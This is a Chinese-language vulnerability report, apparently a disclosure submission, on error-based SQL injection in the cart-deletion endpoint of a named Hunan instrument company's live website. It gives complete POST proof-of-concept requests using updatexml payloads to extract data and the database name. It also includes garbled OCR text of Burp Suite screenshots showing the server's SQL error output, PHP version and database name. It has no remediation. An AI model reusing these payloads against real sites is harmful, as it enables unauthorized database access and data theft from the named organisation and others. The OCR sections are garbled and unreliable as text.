湖南弘林科学仪器有限公司sql注入
1， 网站首页
http://www.hnsyyq.com/
[image: ]
2抓包修改poc
POST /delete_cart_goods.php HTTP/1.1
Host: www.hnsyyq.com:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 64
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id=0||(updatexml(1,concat(0x7e,(select%20md5(111)),0x7e),1))
[image: ]
[image: ]
可以看到执行了md5（111）的命令
3查看库名
修改poc
POST /delete_cart_goods.php HTTP/1.1
Host: www.hnsyyq.com:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id=0||(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))
[image: ]
可以看到执行了database()语句，获取到了库名
漏洞存在
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Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn
Burp Intruder Repeater Window Help

[ Target | Proxy | Spider | Scanner | ntruder [ Repeater | Sequencer | Decoder | Comparer | Extendsr | Project options | User options | Alets |

Go | [ Cancel | [< v ][ >|v Target: htpiwww.hnsyya.com (] (2]

Request

Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /delete_cart_goods. php HITP/1.1 G Path=/: Domain-hnsy 5
Host: ww. hnsyya. con: 80 -Powered-By: PHP/5.3.29 r
User-Agent: Mozilla/5.0 (Findows NT 10.0; rv:78.0) Gecko/20100101 Cache-control: private

Firefos/78.0 Set-Cookie: ECS_ID=13¢2dd9e65a0cd433ea37793b01c4£4c31£0030F; pathe/
Content-Length: 64 YJS-ID: b3e651d418dc34ch-135
Content-Type: application/s-w—forn-urlencoded Server: yunjiasu

Accept-Encoding: ezip Content-Length: 464

1d=0| | (updatexml (1, concat (0xTe, (select%2Pnd5 (111)|, 0xTe), 1)) <b’MySQL server error report:Array
«
|

01 => Array

«

[message] => MySQL Query Error

[sq1] => DELETE FROM shop’. ecs_cart’ WHERE
rec_id=0| | (updatexnl (1, concat (0xTe, (select md5(111)), 0x7e), 1))

> Array

XPATH syntax error: | “698d51a19d8al21ce581499d7h70166"

3

> Array L

« it
EJ EJ EJ Type a search tem 0 matches

918 bytes | 135 millis

(<) [+ (5] [Te o search tem 0 matches
] e

Done
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Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn
Burp Intruder Repeater Window Help

[ Target | Proxy | Spider | Scanner | ntruder [ Repeater | Sequencer | Decoder | Comparer | Extendsr | Project options | User options | Alets |

Go | [ Cancel | [< v ][ >|v Target: htpiwww.hnsyya.com (] (2]

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /delete_cart_goods. php HITP/1.1 T Cache-control: private T
Host: wv. hnsyya. con: 80 P Set-Cookie: ECS ID=d20cabd203d38fh4262c6eF4£38516710104896d; path=/ r
User-Agent: Mozilla/5.0 (Findows NT 10.0: rv:78.0) Gecko/20100101 YJ5-1D: b3e657b3dabs34ce-135
Firefos/78.0 Server: yunjiasu
Content-Length: 66 Content-Length: 440
Content-Type: application/s-ww—form-urlencoded
Accept-Encoding: gzip BMySQL server error report:Array
«
1d=0| | (updatexnl (1, concat (0xTe, (selecty2fdatabase|()) | 0x7e), 1)) [0] => Array
«
[message] => MySQL Query Error
)
28]
> DELETE FROM “shop’.”ecs_cart’ WHERE
rec_id=0| | (updatexml (1, concat (0xTe, (select database (), 0x7e). 1))
)
[2] => Array
«
Terror] => XPATH syntax error| *“shop™
)
[3] => Array
«
L [errnol => 1105 L
v

) v
EJ EJ EJ Type a search tem 0 matches

894 bytes | 127 mills

(<) [+ (5] [Te o search tem 0 matches
] e

Done





